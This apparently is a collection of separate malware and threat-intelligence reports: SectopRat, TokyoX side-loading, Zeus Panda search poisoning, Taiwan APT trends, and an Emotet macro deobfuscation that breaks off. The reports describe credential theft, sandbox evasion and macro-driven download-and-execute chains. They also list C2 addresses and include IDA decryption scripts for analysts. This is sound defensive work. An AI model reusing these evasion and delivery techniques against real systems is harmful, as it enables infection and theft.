text
stringlengths
8
115k
# Deep Dive Into SectopRat Hello World, In this article we will look through a newly version of SectopRat. It's written in Dotnet, so it wasn't so hard. Thanks to @Arkbird and JAMESWT for their original tweets. ## Quick Introduction SectopRat is a RAT tool that was first discovered by MalwareHunterTeam on November 15, 2019. It has capabilities like connecting to a C2 server, profiling the system, and stealing browser history from browsers like Chrome and Firefox. It sends stolen user data in a JSON file. ## In Depth Reversing Sectop utilizes WMI (Windows Management Instrumentation) in order to collect system information. Here it gets OS name and version. Sectop has a class named "GetSystemInfo" that implements most of its system profiling. It collects: - OS Name and Version - Graphics Card Name and VRAM Size - CPU Version and Number of Cores - Physical Memory Size - MAC Address Other things it collects include screen resolution. Sectop also steals browser history from browsers like Chrome and Firefox. Here it opens `%LocalAppData%\Google\Chrome\User Data\Default\Login Data`, which contains the websites you visited, usernames, and emails you used while browsing these sites. They learned a lesson from their past sample and figured out how to use environment variables. Earlier samples had the browser paths hardcoded in the binary, which limited this functionality. They used the following regex to filter and get the info they need: ``` ("(http|ftp|https):\\/\\/([\\w\\-_]+(?:(?:\\.[\\w\\-_]+)+))([\\w\\-\\.,@?^=%&:/~\\+#]*[\\w\\-\\@?^=%&/~\\+#])?") ``` Sectop has a function called "BrowserLogging," which basically sends to the C2 server the actions it performs on browsers. For example, it starts Chrome using command line parameters and then sends to the server that it is going to start Google Chrome using cmd. As we said, it also steals info from Firefox. According to Mozilla Zine, Mozilla applications store a user's personal information in a unique profile. The first time you start any Mozilla application, it will automatically create a default profile; additional profiles can be created using the Profile Manager. The settings which form a profile are stored in files within a special folder on your computer — this is the profile folder. The installation directory also includes a "profile" folder, but this folder contains program defaults, not your user profile data. So it basically retrieves the content of this file and then sends data to the server saying that it's fetching the user profile. The C2 connection is a TCP/IP connection. It connects to IP 54.194.254.16 on port 15647. For encrypting the sent data, it uses AES. Sectop C2 commands depend on packet types. These packet types are then handled by another function, "HandlePackets." ## Step By Step Breakdown - **StartStream**: Creates a new desktop session with the name "sdfsddfg." It first checks if it's already created; if so, it just opens it; otherwise, it creates it. - **Stop Stream**: Stops the desktop session. - **DoMouseEvent**: Emulates mouse presses. - **DoKeyboardEvent**: Emulates keyboard presses. - **StartBrowser**: Handled by the InitBrowser function. It takes in a parameter and does a switch case on it. It runs the calls to the functions that steal the browser data. Case 4 starts Internet Explorer, which is hidden and executed in the desktop session it created. - **Disconnect**: Shuts down the C2 connection. - **SetCodecInfo**: Not handled. - **CaptureInit**: Starts a socket on localhost on port 80. - **SetPubIp**: Changes C2 server IP. Sectop sends the connection type info for the C2 as JSON, which is typical for most RATs, so it can be viewed in the server GUI: - **BotName**: UserName - **BuildID**: Set to "Build 1" - **BotOS**: Operating System - **URLData**: User visited URLs - **UIP**: Public IP Address ## IOC's **Hashes:** - MD5: AC617590F4295B4E4808C488CD19E9F9 - SHA1: 03572EBD5C37D0839BE360B46FBEED26A4A5F78E - SHA256: 0C2C45EE6F09774E00325A951F21DD4D515B0C62B63AC8FF1712E0DD2F73B262 **C2:** - 54.194.254.16:15647 (Ireland, Dublin, Leinster) - 172.217.12.238:80 (United States) **Other:** - PDB Path: d:\arechsoftret1\hhfghg\obj\x86\release\hjghjg.pdb
# TokyoX: DLL Side-Loading an Unknown Artifact During Christmas holidays, Lab52 has been analyzing a sample which loads an artifact that we have decided to refer to as “TokyoX” since no similarities have been found as to any known malware, which we usually detect in open sources. However, we cannot confirm so far that it is indeed a new family of malware. The first thing we identified was a DLL (382b3d3bb1be4f14dbc1e82a34946a52795288867ed86c6c43e4f981729be4fc) which had the following timestamps in VirusTotal at the time of the current analysis, and was uploaded from Russia via web site: - Creation Time: 2021-12-09 02:46:43 - First Submission: 2021-12-09 08:48:20 - Last Submission: 2021-12-09 08:48:20 - Last Analysis: 2021-12-23 23:38:08 Some antivirus engines tagged the sample as PlugX, but it seems that the attribution might be due to the final payload’s loading mechanism: DLL sideloading with an encrypted payload in the same directory. After analyzing the final payload we could not find any similarities with other known samples from PlugX other than the loading TTPs. This DLL had a related .zip file with the name планирование.zip (translated to as planning.zip). When unzipping, the following files are observed: the legitimate file Creative.exe, an encrypted Data file, and the version.dll DLL, which implements the loader function for the Data file, and therefore responsible for mapping the “TokyoX”. If we execute it from a path which is not final or the expected by the malware, it replicates to another path and executes from there, which is something it does have in common with some PlugX DLL loaders. Once executed, we observe how the netsh.exe process tries to establish connections with port 443 of the IP address 31.192.107[.]187. In this analysis, we will focus on different aspects about the process; from double-clicking the binary 123.exe process (which is a copy of Creative.exe but in another path) to the execution of “TokyoX” already decrypted in memory. The first thing we observe within the process is how the version.dll library prepares the decryption and the final payload’s loading in the remote process. In fact, we can see how the content of the Data file is read in the code section of version.dll. If we edit the Data file with a hexadecimal editor we will see their values, which will help us to identify it in memory later (beginning with E3 84). After reading the file from disk, a child process netsh.exe is created. This just-created child process is where several new memory segments will be located (a total of 5, including the final decrypted payload) to decrypt the final “TokyoX” payload. The APIs which were observed for the creation and writing of the remote process are the native APIs NtAllocateVirtualMemory and NtWriteVirtualMemory. First, it creates two segments: 100Kb where the encrypted payload is located and which comes from the disk, and another one of 4Kb. In the 4Kb segment we observe how the following string is set (which will be the string used for the decrypting process). The other memory segment of 100Kb contains the following (encrypted content, as we see how it matches the content from Data file on Disk). After the creation of these two segments, a third segment is allocated, where it loads the absolute memory addresses from several Win32 APIs (VirtualAlloc, LoadLibrary, GetProcAddress, the home address of the coded payload, etc.) for its later use by the loader. We can notice how the segment will have the memory addresses (starting from 123.exe they are located in netsh.exe segment through the version.dll code). Then, another segment of 4Kb is created where it loads the code that will decrypt and load the final payload. Finally, the “TokyoX” loader runs from the DLL (version.dll) in netsh.exe through the API NtCreateThreadEx and we see the start of the last page created in the stack. After the execution of NtCreateThreadEx, as indicated, the loader is initiated in netsh.exe in the segment. Once the execution is moved to the netsh.exe process, it takes the string located in the initial 4Kb segment, copies it into the stack, and replicates it (0x100, 256 bytes) to match the specific block size of 256 bytes. In the following screenshots, we can observe how the block ends with the string “!Up?” when it reaches the value 0x100 in hexadecimal. After the block is created with the replicated string, the values from 00 to FF are found and used for the decrypting process. At this point, the loader transforms the 00-FF block with a series of additions combining the replicated string’s block with the 00-FF block. The combination of the blue block and the 00-FF block results in the following block in memory. On the next step, the loader reads the initial argument, arg0, whose value is 0x900000 and points at the 4Kb block, which stores the absolute addresses to different APIs from Win32. After this, the decrypting process for the final payload begins. The decrypting process gets two values from the second block, exchanges and adds them, and the result serves as a final index to recover the element from the second block with which the XOR will be achieved through the coded block. This description of the decryption algorithm has been identified as the RC4 algorithm. After the decryption process, we find a PE binary. In this case, the payload does not start with the traditional MZ header but the string “tokyo”. Then, we see how it loads the VirtualAlloc absolute address (0x77211856) from the segment previously created. This creates another memory segment in the process netsh.exe with RWX licenses (that of 116Kb) which will be used to load the PE. In this new segment, it maps the binary using the virtual addresses as the regular Windows PE loader would do. Then, it calls the API LoadLibraryA of the strings located in the mapped block. Then it calls GetProcAddress() to get the addresses of certain functions. Next, the libraries and functions block may be appreciated. After the correct mapping and having loaded the necessary libraries for its proper functioning, it calls EAX to run the decrypted and mapped payload. To summarize, this article goes through the process followed in memory after executing the Creative Cloud application until deploying TokyoX in memory. This DLL sideloading style is often linked to APT groups whose attribution is also linked to China; however, being a known technique as it is, we are not able to consider any feasible attribution at the moment. As reviewed at the beginning of the article, what we have named as “TokyoX” has not been identified as a known malware so far (at least, with the sources that we have). Additionally, at some point of the analysis, we identified a tool used by this group for the creation of version.dll, which pretends to be a Windows DLL located in SysWOW/System32. The string “AheadLib” found among the code of the malicious version.dll drew our attention, and we quickly found two Chinese GitHub repositories with the source code of some tool called AheadLib. Basically, this tool will allow you to create a C++ source code file, implementing a DLL with the same exported functions as a given DLL. For the purpose of the current analysis, we generated a source code file using this tool and giving the legitimate version.dll as input. In the shown screenshot, we can see on the left side the pseudocode generated by IDA Pro while analyzing the malicious version.dll sample. On the right side, we can observe the source code automatically generated by AheadLib using the legitimate version.dll as input. Even though the exported functions are not shown in the previous image, we can appreciate how there is a perfect match between both snippets. ## IOCs - 382b3d3bb1be4f14dbc1e82a34946a52795288867ed86c6c43e4f981729be4fc - 31.192.107[.]187:443 Customers with Lab52’s APT intelligence private feed service already have more tools and means of detection for this campaign. In case of having threat hunting service or being a client of S2Grupo CERT, this intelligence has already been applied. If you need more information about Lab52’s private APT intelligence feed service, you can contact us.
# Poisoning the Well: Banking Trojan Targets Google Search Results **Summary** It has become common for users to use Google to find information that they do not know. In a quick Google search, you can find practically anything you need to know. Links returned by a Google search, however, are not guaranteed to be safe. In this situation, the threat actors decided to take advantage of this behavior by using Search Engine Optimization (SEO) to make their malicious links more prevalent in the search results, enabling them to target users with the Zeus Panda banking Trojan. By poisoning the search results for specific banking-related keywords, the attackers were able to effectively target specific users in a novel fashion. By targeting primarily financial-related keyword searches and ensuring that their malicious results are displayed, the attacker can attempt to maximize the conversion rate of their infections as they can be confident that infected users will be regularly using various financial platforms and thus will enable the attacker to quickly obtain credentials, banking and credit card information, etc. The overall configuration and operation of the infrastructure used to distribute this malware was interesting as it did not rely on distribution methods that Talos regularly sees being used for the distribution of malware. This is another example of how attackers regularly refine and change their techniques and illustrates why ongoing consumption of threat intelligence is essential for ensuring that organizations remain protected against new threats over time. ## Initial Attack Vector The initial vector used to initiate this infection process does not appear to be email-based. In this particular campaign, the attacker(s) targeted specific sets of search keywords that are likely to be queried by potential targets using search engines such as Google. By leveraging compromised web servers, the attacker was able to ensure that their malicious results would be ranked highly within search engines, thus increasing the likelihood that they would be clicked on by potential victims. In one example, the attacker appeared to target the keyword search containing the following search query: "al rajhi bank working hours in ramadan". A sample of the malicious results returned by Google is included in the image below. By leveraging compromised business websites that have received ratings and reviews, the attacker could make the results seem more legitimate to victims, as can be seen by the star/rating displayed alongside the results in the SERP. The attacker targeted numerous keyword groups, with most being tailored towards banking or financial-related information that potential victims might search for. Additionally, certain geographic regions appear to be directly targeted, with many of the keyword groups being specific to financial institutions in India as well as the Middle East. Some examples of keyword searches being targeted by this campaign were: - "nordea sweden bank account number" - "al rajhi bank working hours during ramadan" - "how many digits in karur vysya bank account number" - "free online books for bank clerk exam" - "how to cancel a cheque commonwealth bank" - "salary slip format in excel with formula free download" - "bank of baroda account balance check" - "bank guarantee format mt760" - "sbi bank recurring deposit form" - "axis bank mobile banking download link" Additionally, in all of the cases Talos analyzed, the titles of the pages that functioned as the entry point into this malware distribution system had various phrases appended to them. Using the "intitle:" search parameter, we were able to positively identify hundreds of malicious pages being used to perform the initial redirection that led victims to the malicious payload. Some examples of these phrases are included below: - "found download to on a forum" - "found global warez on a forum" - "can you download free on the site" - "found download on on site" - "can download on a forum" - "found global downloads on forum" - "info site download to on forum" - "your query download on site" - "found download free on a forum" - "can all downloads on site" - "you can open downloads on" In cases where victims attempt to browse to the pages hosted on these compromised servers, they would initiate a multi-stage malware infection process. Ironically, we have observed the same redirection system and associated infrastructure used to direct victims to tech support and fake AV scams that display images informing victims that their systems are infected with Zeus and instructing them to contact the listed telephone number. ## Infection Process When the malicious web pages are accessed by victims, the compromised sites use Javascript to redirect clients to Javascript hosted on an intermediary site. This results in the client retrieving and executing Javascript located at the address specified by the document.write() method. The subsequent page includes similar functionality, this time resulting in an HTTP GET request to another page. The intermediary server will then respond with a HTTP 302 which redirects clients to another compromised site which is actually being used to host a malicious Word document. As a result, the client will follow this redirection and download the malicious document. This is a technique commonly referred to as "302 cushioning" and is commonly employed by exploit kits. Following the redirect results in the download of a malicious Microsoft Word document. Following the download of the malicious Word document, the victim is prompted by their browser to Open or Save the file. When opened, the document displays the following message, prompting the victim to "Enable Editing" and click "Enable Content". Following these instructions will result in the execution of malicious macros that have been embedded in the Word document. It is these macros that are responsible for downloading and executing a PE32 executable, thus infecting the system. The macro code itself is obfuscated and quite basic. It simply downloads the malicious executable, saves it into the %TEMP% directory on the system using the filename such as "obodok.exe". In this case, the malicious executable was being hosted at the following URL: hXXp://settleware[.]com/blog/wp-content/themes/inove/templates/html/krang.wwt. The macros use the following Powershell command to initiate this process. A review of DNS related information associated with the domain hosting the malicious executable shows that there were two significant spikes in the amount of DNS requests attempting to resolve the domain, occurring between 06/07/2017 and 06/08/2017. Settleware Secure Services, Inc. is a document e-Signing service that allows documents to be signed electronically. It is used across a number of different processes, including Real Estate escrow e-Signing, and also offers eNotary services. ## Malware Operations The malicious payload associated with the campaign appears to be a new version of Zeus Panda, a banking trojan designed to steal banking and other sensitive credentials for exfiltration by attackers. The payload that Talos analyzed was a multi-stage payload, with the initial stage featuring several anti-analysis techniques designed to make analysis more difficult and prolonged execution to avoid detection. It also featured several evasion techniques designed to ensure that the malware would not execute properly in automated analysis environments or sandboxes. The overall operation of the Zeus Panda banking trojan has been well documented; however, Talos wanted to provide additional information about the first stage packer used by the malware. The malware will first query the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects any of the following keyboard mappings: - LANG_RUSSIAN - LANG_BELARUSIAN - LANG_KAZAK - LANG_UKRAINIAN The malware also performs checks to determine whether it is running within the following hypervisor or sandbox environments: - VMware - VirtualPC - VirtualBox - Parallels - Sandboxie - Wine - SoftIce It also checks for the existence of various tools and utilities that malware analysts often run when analyzing malicious software. A full list of the different environment checks performed by the malware is below: If any of the environmental checks are met, the malware then removes itself by first writing a batch file to the %TEMP% directory and executing it using the Windows Command Processor. The malware uses RDTSC to calculate the time-based filename used to store the batch file. This batch file is responsible for deleting the original sample executable. Once the original executable has been deleted, the batch file itself is also removed from %TEMP%. In an attempt to hinder analysis, the initial stage of the malicious payload features hundreds of valid API calls that are invoked with invalid parameters. It also leverages Structured Exception Handling (SEH) to patch its own code. It queries and stores the current cursor position several times to detect activity and identify if it is being executed in a sandbox or automated analysis environment. An example of the use of valid API calls with invalid parameters is below, where the call to obtain the cursor location is valid, while the call to ScreentoClient contains invalid parameters. Below is an example of a bogus call designed to lure an analyst and increase the time and effort required to analyze the malware. Often we see invalid opcodes used to lure the disassembler, but in this case, the result is that it is in front of hundreds of structures too, making it more difficult to recognize good variables. The below screenshot shows a list of auto populated and useless structures by IDA. These measures are all designed to impede the analysis process and make it more expensive to identify what the malware is actually designed to do from a code execution flow perspective. Periodically, we can find a valid and useful instruction. Below the EAX register is stored in a variable to be reused later in order to allocate a heap memory chunk to initiate its own unpacked code. The malware also uses other techniques to make analysis significantly more difficult, like creating hundreds of case comparisons, which makes tracing code much harder. Below is an example of several if conditional statements in pseudo code demonstrating this process and how it can result in impeding the ability to efficiently trace the code. In order to decrypt the malware code, it installs an exception handler, which is responsible for decrypting some memory bytes to continue its execution. Below you can see the SEH has just been initialized. In the same routine, it performs the decryption routine for the following code. We also observed that the high number of exception calls were causing some sandboxes to crash as a way to prevent automated analysis. Once the data is decrypted and stored into the buffer that was previously allocated, it continues execution back in winmain using a known mechanism, the callback routine feature of EnumDisplayMonitor, by setting up the value of the callback routine towards the patched memory. During this execution, the malware will then continue to patch itself and continue execution. The strings are encrypted using an XOR value; however, each string uses a separate XOR value preventing an easy detection mechanism. Below is some IDA Python code which can be used to decrypt strings. ```python def decrypt(data, length, key): c = 0 o = '' while c < length: o += chr((c ^ ord(data[c]) ^ ~key) & 0xff) c += 1 return o def get_data(index): base_encrypt = 0x1251A560 key = Word(base_encrypt + 8 * index) length = Word(base_encrypt + 2 + 8 * index) data = GetManyBytes(Dword(base_encrypt + 4 + 8 * index), length) return key, length, data def find_entry_index(addr): addr = idc.PrevHead(addr) if GetMnem(addr) == "mov" and "ecx" in GetOpnd(addr, 0): return GetOperandValue(addr, 1) return None for addr in XrefsTo(0x1250EBD2, flags=0): entry = find_entry_index(addr.frm) try: key, length, data = get_data(entry) dec = decrypt(data, length, key) print "Ref Addr: 0x%x | Decrypted: %s" % (addr.frm, dec) MakeComm(addr.frm, ' decrypt_string return :' + dec) MakeComm(ref, dec) except: pass ``` This code should comment IDA strings decrypted and referenced where 0x1250EBD2 corresponds to the decryption routine and 0x1251A560 corresponds to the table of strings encrypted. For API calls, there are also well-known hash API calls which use the following algorithm. Again, this is code which can be used within IDA in order to comment API calls. ```python def build_xor_api_name_table(): global table_xor_api if not table_xor_api: table_xor_api = [] entries = 0 while entries < 256: copy_index = entries bits = 8 while bits: if copy_index & 1: copy_index = (copy_index >> 1) ^ 0xEDB88320 else: copy_index >>= 1 bits -= 1 table_xor_api.append(copy_index) entries += 1 return table_xor_api def compute_hash(inString): global table_xor_api if not table_xor_api: build_xor_api_name_table() if inString is None: return 0 ecx = 0xFFFFFFFF for i in inString: eax = ord(i) eax = eax ^ ecx ecx = ecx >> 8 eax = eax & 0xff ecx = ecx ^ table_xor_api[eax] ecx = ~ecx & 0xFFFFFFFF return ecx ``` The malware uses a generic function which takes the following arguments: - the DWORD which corresponds to the module. - An index entry corresponding to the table of encrypted string for modules (if not loaded). - The hash of the API itself. - The index where to store the API call address. Below is example pseudo code showing how the API call is performed just to perform a process lookup into memory using the snapshot list. Once the malware begins its full execution, it copies an executable to the following folder location: `C:\Users\<Username>\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\` It maintains persistence by creating the following registry entry: `HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Run\extensions.exe` It sets the data value for this registry entry to the path/filename that was created by the malware. An example of the data value is below: `"C:\Users\<Username>\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\extensions.exe"` In this particular case, the file that was dropped into the infected user's profile was named "extensions.exe"; however, Talos has observed several different file names being used when the executable is created. ## Conclusion Attackers are constantly trying to find new ways to entice users to run malware that can be used to infect the victim's computer with various payloads. Spam, malvertising, and watering hole attacks are commonly used to target users. Talos uncovered an entire framework that is using "SERP poisoning" to target unsuspecting users and distribute the Zeus Panda banking trojan. In this case, the attackers are taking specific keyword searches and ensuring that their malicious results are displayed high in the results returned by search engines. The threat landscape is constantly evolving and threat actors are continually looking for new attack vectors to target their victims. Having a sound, layered, defense-in-depth strategy in place will help ensure that organizations can respond to the constantly changing threat landscape. Users, however, must also remain vigilant and think twice before clicking a link, opening an attachment, or even blindly trusting the results of a Google search. ## IOCs The following Indicators of Compromise have been identified as being associated with this malware campaign. Note that some of the domains performing the initial redirection have been cleaned; however, we are including them in the IOC list to allow organizations to determine if they have been impacted by this campaign. **Domains Distributing Maldocs:** - mikemuder[.]com **IPs Distributing Maldocs:** - 67.195.61[.]46 **Domains:** - acountaxrioja[.]es - alpha[.]gtpo-cms[.]co[.]uk - arte-corp[.]jp - bellasweetboutique[.]com - billing[.]logohelp[.]com - birsan[.]com[.]tr - bitumast[.]com - bleed101[.]com - blindspotgallery[.]co[.]uk - blog[.]mitrampolin[.]com - calthacompany[.]com - cannonvalley[.]co[.]za - coinsdealer[.]pl - corvettescruisingalveston[.]com - craigchristian[.]com - dentopia[.]com[.]tr - dgbeauty[.]net - dressfortheday[.]com - evoluzionhealth[.]com - gemasach[.]com - japan-recruit[.]net - jaegar[.]jp - michaelleeclayton[.]com - www[.]academiaarena[.]com - www[.]bethyen[.]com - www[.]bioinbox[.]ro - www[.]distinctivecarpet.com - www[.]helgaleitner[.]at - www[.]gullsmedofstad[.]no - usedtextilemachinerylive[.]com - garagecodes[.]com - astrodestino[.]com[.]br **Intermediary Redirect Domains:** - dverioptomtut[.]ru **Word Doc Filenames:** - nordea-sweden-bank-account-number.doc - al-rajhi-bank-working-hours-during-ramadan.doc - how-many-digits-in-karur-vysya-bank-account-number.doc - free-online-books-for-bank-clerk-exam.doc - how-to-cancel-a-cheque-commonwealth-bank.doc - salary-slip-format-in-excel-with-formula-free-download.doc - bank-of-baroda-account-balance-check.doc - bank-guarantee-format-mt760.doc - incoming-wire-transfer-td-bank.doc - sbi-bank-recurring-deposit-form.doc **Word Doc Hashes:** - 713190f0433ae9180aea272957d80b2b408ef479d2d022f0c561297dafcfaec2 (SHA256) **PE32 Distribution URLs:** - settleware[.]com/blog/wp-content/themes/inove/templates/html/krang.wwt **PE32 Hashes:** - 59b11483cb6ac4ea298d9caecf54c4168ef637f2f3d8c893941c8bea77c67868 (SHA256) - 5f4c8191caea525a6fe2dddce21e24157f8c131f0ec310995098701f24fa6867 (SHA256) - 29f1b6b996f13455d77b4657499daee2f70058dc29e18fa4832ad8401865301a (SHA256) - 0b4d6e2f00880a9e0235535bdda7220ca638190b06edd6b2b1cba05eb3ac6a92 (SHA256) **C2 Domains:** - hppavag0ab9raaz[.]club - havagab9raaz[.]club **C2 IP Addresses:** - 82.146.59[.]228
# APT Threat Landscape of Taiwan in 2020 By TeamT5 CTO Charles Li 2020 was considered to be a year of chaos and disaster. Big events such as the outbreak of COVID-19, geopolitical conflicts, Brexit, and the U.S. presidential election influenced people around the world. In 2020, TeamT5 continued helping with numerous security breaches caused by state-sponsored targeted instruction attacks (APT). Meanwhile, TeamT5's intelligence team proactively tracked APT actors’ new activities. The cyber world was also full of turmoil in 2020, reflecting real-world events. In this article, we will discuss our observations of APT trends in Taiwan in 2020. ## Evolution of APT Tactics In 2020, the most notable APT event in public was the ransom-attack that struck several energy-related companies in May. TeamT5 research shows it to be a well-organized campaign from a notorious Chinese adversary group. Whether financial gain or political deterrence is the real motivation behind the ransom-attack remains a mystery. However, it marked a milestone in China’s cyber-attacks against Taiwan: Chinese APT have aimed at Taiwan for more than 20 years, limited to cyber espionage operations in the past, but now the threat actors are exercising new tactics to evade detection. Another cyber-attack supporting our hypothesis occurred on PTT, the most popular BBS platform in Taiwan. TeamT5 tracked a series of posts related to scandals, attempting to discredit Taiwanese governments or military, on PTT in July 2020. The actors abused hopping servers from various countries to hide their footprints. However, TeamT5's intelligence database shows that one of the source IP addresses was also used by a Chinese APT that has targeted Taiwan for more than ten years. Another private source also verified the same APT group as the culprit behind the attack. We consider both events indicators of China’s expansion in offensive cyber operations, which we have not observed in the past. ## Supply Chain Attacks Becoming a Primary Method in APT Attacks Supply chain attacks became a major intrusion method for threat actors in 2020, and TeamT5 had warned about such tactics in advance. The SolarWinds breach was undoubtedly the most successful story among them. Many high-profile U.S. government agencies, Fortune 500 companies, and even cybersecurity vendors were affected. The scope is still uncertain. In Taiwan, we observed at least three waves of similar attacks that infiltrated service providers and further leveraged their products or services to infect more victims. The first two were published by the Ministry of Justice Bureau (MJIB) of Taiwan in August. The third was still under investigation, and the impact could be even bigger. We have seen a significant number of government agencies and private corporations in Taiwan being compromised. TeamT5 research shows that at least three distinct China nexus groups were involved in these operations. ## COVID-19 Driven Cyber Attacks Another interesting phenomenon was COVID-19 related cyber-attacks. Soon after the outbreak of the COVID-19 pandemic, we observed state-sponsored actors collecting intelligence for the pandemic. In the second half of 2020, threat actors shifted their focus to chasing COVID-19 vaccine information with the advance of vaccine development. In Taiwan, TeamT5 intercepted several spear phishing emails using COVID-19 as a lure or campaigns related to healthcare entities. We believe this trend will continue as long as the COVID-19 pandemic exists. TeamT5 Intelligence Team analyzed around one hundred APT attacks from China in 2020. Our statistics show that government and military agencies are still the biggest targets, with attacks against them accounting for more than a quarter of the total. Almost every APT group active in Taiwan covets them. This trend has persisted since the ultimate goal of Chinese espionage operations is to obtain confidential national information. The Information Technology (IT) industry also received significant attention from APT actors, with a dramatic increase in attacks against it. We believe this is a result of threat actors’ attempts to abuse supply chain attacks, as IT companies are considered good hopping points to access various industries. The third industry targeted in 2020 was the energy industry, with at least five adversary groups attacking it. This could indicate adversaries’ ambitions to control critical industries, which would be top priorities for sabotage in wartime. Education and think tanks have long been ranked as the most attacked victims due to their involvement in classified research projects hosted by governments or political decision-making. There were several targeted attacks against companies in the semiconductor industry, which is prioritized by Chinese authorities in their Five-Year projects. Cyber espionage was also adopted to improve their techniques. Healthcare and transportation are two other industries coveted by APT actors. As mentioned earlier, COVID-19 could incentivize APT actors to attack healthcare industries. Lastly, we observed an adversary group called GouShe (a.k.a. TroppicTropper, Keyboy) focusing on infiltrating transportation-related entities in Taiwan. More than 70% of transportation-related cases we observed were from this specific group. ## 2020 APT Target Industries Distribution TeamT5 tracked activities from at least nine APT groups, eight of which are from China. HUAPI (a.k.a. BlackTech/PLEAD) was the most ambitious group in Taiwan, accounting for around 30% of incidents analyzed, targeting almost all listed industries. The supply chain attacks mentioned earlier were also conducted by them. APT27 (a.k.a. EmissaryPanda, IronTiger, LuckyMouse, BronzeUnion), GouShe, and AMOEBA (a.k.a. APT41, Barium, Winnti) were quite active in 2020. APT27 primarily attacked government, healthcare, and financial entities. GouShe showed a peculiar interest in transportation-related entities, with footprints also observed in energy and government entities. TeamT5 has tracked this group for many years, and our research suggests that the actors might bear some responsibility from higher commands to monitor critical infrastructure facilities in Taiwan and take control of them in case of an emergency. AMOEBA attacked energy companies, semiconductor companies, educational institutes, and IT companies, primarily for intellectual property or secret theft. However, there is a possibility that the actor might leverage their achievements further, as seen in the ransom-attack in May. SLIME1, SLIME9, and SLIME13 are temporary code names for three Chinese APT campaigns against Taiwan that have lasted for a few years, continuing their activities in 2020. Polaris (a.k.a. MustangPanda) is another Chinese APT group that attacked almost all neighboring countries of China. We intercepted several of their spear phishing emails against government and research institutes in the early stages of COVID-19, suggesting they were gathering information related to the pandemic. One last interesting discovery: we found some Linux-based malware used by Lazarus, a notorious North Korean APT group, circulating in Taiwan, but we were unable to obtain victim identity information. Although Taiwan is not a primary target of North Korean APT, Lazarus actors are believed to bear financial responsibilities for their government agencies. For example, Lazarus is believed to be behind a Taiwanese bank SWIFT heist in 2017. The sample we uncovered might suggest their activities still exist in Taiwan. ## Conclusion The purpose of this article is to provide a high-level overview of the APT threat landscape in Taiwan in 2020, as TeamT5 believes knowing your enemy is the first step toward effective defense. TeamT5 research shows that APT attacks continue to evolve, becoming increasingly complex and difficult for security products to defend against. TeamT5 has a cyber threat intelligence (CTI) centered solution, ThreatVision, and we rely on a dedicated team of security experts to keep us steps ahead of threat actors.
# Deobfuscating Emotet Macro Document and Powershell Command Fareed NetbyteSEC malware analysis team has come across a Microsoft Word malicious document containing macro code. The suspicious email was received by our client before the news of global law enforcement took down the Emotet cyber criminals team. ## 1.0 Malicious Document Technical Analysis **MD5 Hash:** 809928addbff4e5f9b7d9f55e0ac88e9 **Filename:** file-20210122-QRN6275.doc **File type:** Microsoft Word 97 - 2003 Document (.doc) Upon opening the malicious document file, a common phishing method uses to bait victims to click the “Enable Content” ribbon button displayed in Microsoft Word. Normally, a document like this indicates there is macro content in the document. The purpose of lure to enable the content is to allow the execution of malicious macro code inside the Word document. Enabling the content will execute the macro embedded in the lure document which will lead to malicious execution activities in the victim’s machine. A quick analysis using oledump script on the file discloses three macro contents in the document sample residing in stream 7, 8, and 9 as follows. Analyzing the content of stream 8 reveals the entry point of the macro, which is the document_open procedure used to execute the macro code whenever the victim opens the malicious document and enables the content. In stream 8, once the document_open procedure is triggered, a function with a random character name “Iemid5ewh9fn44ue4d” will be called, which then will execute its code that resides in stream 9. The VBA file for stream 9 contains 448 lines of macro code used for the malicious actions explained in the next section. ## 1.1 Deobfuscating Malicious Macro The VBA script contains 448 lines of obfuscated macro code. The macro code was obfuscated to produce an anti-analysis to make it difficult for analysts to read and understand the code. This technique is commonly used among cyber threat groups to obfuscate their code. In this section, the NetbyteSEC malware analysis team will explain the method for deobfuscating the macro. As a solution, debugging the macro code can help trace each of the content of the variable and dive into the detail of the macro code. First, the code builds long obfuscated strings and appends the strings to the variable name V6x19m6t_qhh. The encoded strings are as follows: ``` wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh bx [ sh bx [ sh bsx [ sh bx [ sh bx [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh bx [ sh bpx [ sh bx [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b ``` The encoded strings are then decoded and saved as clear text in the variable G1i061417oxvyh_k. At this point, the macro builds an encoded string and decodes the string to become `winmgmts:win32_process`, indicating the VBA script will be using something related to WMI classes for the next instruction. Next, the VBA script creates an object which is the `winmgmts:win32_process`, and sets it to variable F_yz9ots5y0q916g. Inspecting the local variable F_yz9ots5y0q916g will show that the variable has become the SWbemObjectEx object, which can be abused to execute a command line. The macro code then builds another encoded string and appends the strings to the variable name V6x19m6t_qhh again. The encoded string is a bit different from the previously encoded string. The encoded string is built as follows: ``` x [ sh bx [ sh bcx [ sh bmx [ sh bdx [ sh b x [ sh bcx [ sh bmx [ sh bdx [ sh b x [ sh b/x [ sh bcx [ sh b x [ sh bmx [ sh b^x [ sh bsx [ sh b^x [ sh bgx [ sh b x [ sh b%x [ sh bux [ sh bsx [ sh bex [ sh brx [ sh bnx [ sh bax [ sh bmx [ sh bex [ sh b%x [ ``` Next, the encoded string will be decoded and saved into variable G1i061417oxvyh_k. Inspecting the variable, the decoded strings are actually a cmd command line of msg and base64 PowerShell line. To view the malicious command line, adding a MsgBox line to the variable will display the full command line to our screen. Finally, the macro will execute the command using `winmgmts:win32_process` explained before and exit the macro. The command line will first run the command msg to send a message to a user. The encoded PowerShell command will be explained in the next section. ## 1.2 Deobfuscating Encoded PowerShell Command Line Retrieving the encoded PowerShell command-line reveals that the executed command is actually a long-encoded line than it shows in the MsgBox. Decoding the encrypted base64 strings will give this output. After removing a lot of garbage characters and cleaning the code to more readable and understandable code, the result shows as follows: In summary of the above code, the PowerShell first creates a directory and subdirectory named `%UserProfile%/Scnfrf7\Pb6asvf`. After that, the code assigns seven URL strings to variable `$URL`, which will be used in the next block of code of for-each statement. The for-each statement will get the element of the array in the variable `$URL` and download the DLL file. The file being downloaded will be saved as `O66D.dll` at the created directory `%UserProfile%/Scnfrf7\Pb6asvf`. If the executable file has a length of more than 32360, the code will continue to execute the DLL using the `rundll32` utility with the string “AnyString” as its first parameter. Conversely, if it is lower than the value 32360 or the file is not available in the directory, the code will break and exit. ## 1.3 URL Check Navigating and 